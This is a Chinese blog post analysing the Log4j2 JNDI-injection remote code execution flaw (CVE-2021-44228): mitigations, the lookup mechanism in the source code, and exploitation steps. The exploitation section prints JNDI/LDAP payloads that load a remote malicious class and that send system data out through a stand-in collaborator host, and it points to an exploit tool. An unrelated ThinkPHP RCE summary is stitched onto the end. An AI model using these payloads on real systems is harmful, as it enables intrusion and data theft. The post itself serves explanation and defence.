Log4j2-RCE

1 Log4j2漏洞官方描述

Apache Log4j2 是一个基于Java的开源日志记录框架,该框架重写了Log4j框架,是其前身Log4j 1.x 的重写升级版,并且引入了大量丰富的特性,使用非常的广泛。该框架被大量用于业务系统开发,用来记录日志信息。

Log4j 2.x 缓解措施

  1. 升级到 Log4j 2.3.1(适用于 Java 6)、2.12.3(适用于 Java 7)或 2.17.1(适用于 Java 8 及更高版本)。
  2. 或者,可以在配置中缓解这种无限递归问题:
    • )在日志记录配置的 PatternLayout 中,用线程上下文映射模式(%X、%mdc 或 %MDC)替换 ${ctx:loginId} 或 $${ctx:loginId} 等上下文查找。
    • )否则,在配置中,删除对上下文查找的引用,如 ${ctx:loginId} 或 $${ctx:loginId},它们源自应用程序外部的源,如 HTTP 标头或用户输入。

2 log4j2之lookup机制

前言

在log4j2中, 共有8个日志级别,按照从低到高为:ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFF。

All:最低等级的,用于打开所有日志记录.

Trace:是追踪,就是程序推进一下.

Debug:指出细粒度信息事件对调试应用程序是非常有帮助的.

Info:消息在粗粒度级别上突出强调应用程序的运行过程.

Warn:输出警告及warn以下级别的日志.

Error:输出错误信息日志.

Fatal:输出每个严重的错误事件将会导致应用程序的退出的日志.

程序会打印高于或等于所设置级别的日志, 如下面图示,所以设置的日志级别不要太高。

正文

在org.apache.logging.log4j.core.pattern.MessagePatternConverter.format中,会按字符检测每条日志,一旦发现某条日志中包含$ {,就会将表达式的内容替换,而不是表达式本身,this.config.getStrSubstitutor().replace(event, value)执行下一步替换操作:

if (this.config != null && !this.noLookups) { 
    for(int i = offset; i < workingBuilder.length() - 1; ++i){ 
        if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{'){ 
            //包含 “ $ { ” 则替换表达式内容 
            String value = workingBuilder.substring(offset, workingBuilder.length());  
            workingBuilder.setLength(offset); 
            workingBuilder.append(this.config.getStrSubstitutor().replace(event, value)); 
}  }  }

转到org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(final LogEvent event, final String source)

replace()中当source != null 时执行substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List priorVariables)

public String replace(final LogEvent event, final String source) {
     if (source == null) { 
            return null; } 
    else {
         StringBuilder buf = new StringBuilder(source); 
         return !this.substitute(event, buf, 0, source.length()) ? source : buf.toString(); 
} }

substitute方法主要是一个字符串查找函数,后面的resolveVariable()函数执行了变量解析

resolveVariable()这个函数根据变量的协议进行查找 

剩下的就是lookup去解析

其中StrLookup lookup = (StrLookup)this.strLookupMap.get(prefix)可以根据前缀寻找对应协议的lookup,log4j2支持的lookup协议如下:

总结:

日志在打印时当遇到 ${ 后,以 : 号作为分割,将表达式内容分割成两部分,前面部分作为 prefix,后面部分作为 key。然后通过 prefix 去找对应的 lookup,通过对应的 lookup 实例调用 lookup 方法,最后将 key 作为参数带入执行。

3 Log4j2漏洞

log4j2 支持很多协议,例如通过 ldap 查找变量,通过 docker 查找变量,详细参考这里:

https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html

3.1 JNDI注入介绍

jndi注入利用的动态类加载完成攻击,JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。这些命名/目录服务提供者如下:

JNDI客户端调用方式:

//指定需要查找name名称 
String jndiName= request.getParameterNames(name);
//初始化默认环境 
Context context = new InitialContext();
//查找该name的数据
context.lookup(jndiName);

这里的jndiName变量的值可以是上面的命名/目录服务列表里面的值,如果JNDI名称可控的话可能会被攻击。

JNDI具体攻击利用方法见:

3.2 CVE-2021-44228 RCE

通过 jndi 注入,借助 ldap 服务来下载执行恶意 payload,从而执行命令 ${jndi:ldap://xxx.xxx.xxx.xxx/exp}

第一步:向目标发送指定 payload,目标对 payload 进行解析执行,然后会通过 ldap 链接远程服务,当 ldap 服务收到请求之后,将请求进行重定向到恶意 java class 的地址。

第二步:目标服务器收到重定向请求之后,下载恶意 class 并执行其中的代码,从而执行系统命令。

3.3 多种方法漏洞利用

方法一:利用 JNDI 注入器

github 下载 jndi 注入器(下载 jar 包即可)

Releases · welk1n/JNDI-Injection-Exploit · GitHub

方法二:利用 dnslog 检测并外带数据

访问 https://log.xn--9tr.com/,点击 Get SubDomain 获取域名(当然也可以选择其他平台,比如 dnslog、ceye 等)。

外带数据的 payload: ${jndi:ldap://${sys.java.version}.collaborator.com}

参考:

《Log4j2 研究之lookup》—— 宽字节安全

史上最全 log4j2 远程命令执行漏洞汇总报告

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ThinkPHP 2.x版本中存在远程代码执行(RCE)漏洞。该漏洞可以通过构造恶意的请求来执行任意的PHP代码。具体来说,漏洞出现在ThinkPHP框架中的路由处理函数中,使用了不安全的preg_replace函数,并且使用了/e模式进行正则表达式匹配。攻击者可以通过在请求中注入恶意的代码来执行任意的PHP代码。这个漏洞在ThinkPHP框架的Dispatcher类中的102行被触发。\[2\]\[3\] 为了修复这个漏洞,建议升级到最新版本的ThinkPHP框架,或者手动修复代码中的漏洞。具体修复方法包括使用更安全的正则表达式替代preg_replace函数,并且避免使用/e模式进行正则表达式匹配。此外,还应该对用户输入进行严格的过滤和验证,以防止恶意代码的注入。 #### 引用[.reference_title] - *1* [【漏洞复现】[ThinkPHP]2-Rce](https://blog.csdn.net/Mr_atopos/article/details/124907676)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [ThinkPHP2-RCE漏洞复现](https://blog.csdn.net/qq_51459600/article/details/125179451)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值